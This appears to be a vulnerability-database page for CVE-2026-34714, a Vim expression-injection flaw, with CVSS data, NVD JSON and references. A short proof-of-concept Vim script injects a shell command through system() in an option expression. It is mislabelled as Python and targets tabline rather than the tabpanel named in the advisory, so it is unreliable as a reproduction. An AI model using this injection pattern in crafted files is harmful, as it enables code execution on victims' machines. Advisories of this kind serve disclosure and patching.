Security Vulnerability Report
中文
CVE-2026-34714 CVSS 9.2 CRITICAL

CVE-2026-34714

Published: 2026-03-30 19:16:27
Last Modified: 2026-04-03 12:16:19

Description

Vim before 9.2.0272 allows code execution that happens immediately upon opening a crafted file in the default configuration, because %{expr} injection occurs with tabpanel lacking P_MLE.

CVSS Details

CVSS Score
9.2
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:vim:vim:*:*:*:*:*:*:*:* - VULNERABLE
Vim < 9.2.0272

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
" Vim PoC for CVE-2026-34714 " This file exploits the expression injection in tabpanel " Injecting a command to create a proof file " Using system() function inside %{...} set tabline=%{system('echo "CVE-2026-34714_PWNED" > /tmp/poc.txt')} " Trigger a redraw to force execution immediately upon opening :redraw!

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34714", "sourceIdentifier": "[email protected]", "published": "2026-03-30T19:16:26.853", "lastModified": "2026-04-03T12:16:18.500", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vim before 9.2.0272 allows code execution that happens immediately upon opening a crafted file in the default configuration, because %{expr} injection occurs with tabpanel lacking P_MLE."}, {"lang": "es", "value": "Vim anterior a la versión 9.2.0272 permite la ejecución de código que ocurre inmediatamente al abrir un archivo especialmente diseñado en la configuración predeterminada, porque se produce una inyección de %{expr} con tabpanel que carece de P_MLE."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L", "baseScore": 9.2, "baseSeverity": "CRITICAL", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.5, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vim:vim:*:*:*:*:*:*:*:*", "versionEndExcluding": "9.2.0272", "matchCriteriaId": "82217BEF-646B-4092-B88A-33A17080CF1B"}]}]}], "references": [{"url": "https://github.com/vim/vim/commit/664701eb7576edb7c7c7d9f2d600815ec1f43459", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/vim/vim/releases/tag/v9.2.0272", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/vim/vim/security/advisories/GHSA-2gmj-rpqf-pxvh", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.openwall.com/lists/oss-security/2026/03/30/3", "source": "[email protected]", "tags": ["Mailing List", "Third Party Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/02/4", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Issue Tracking", "Mailing List"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/02/5", "source": "af854a3a-2127-422b-91ae-364da2661108"}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/03/6", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}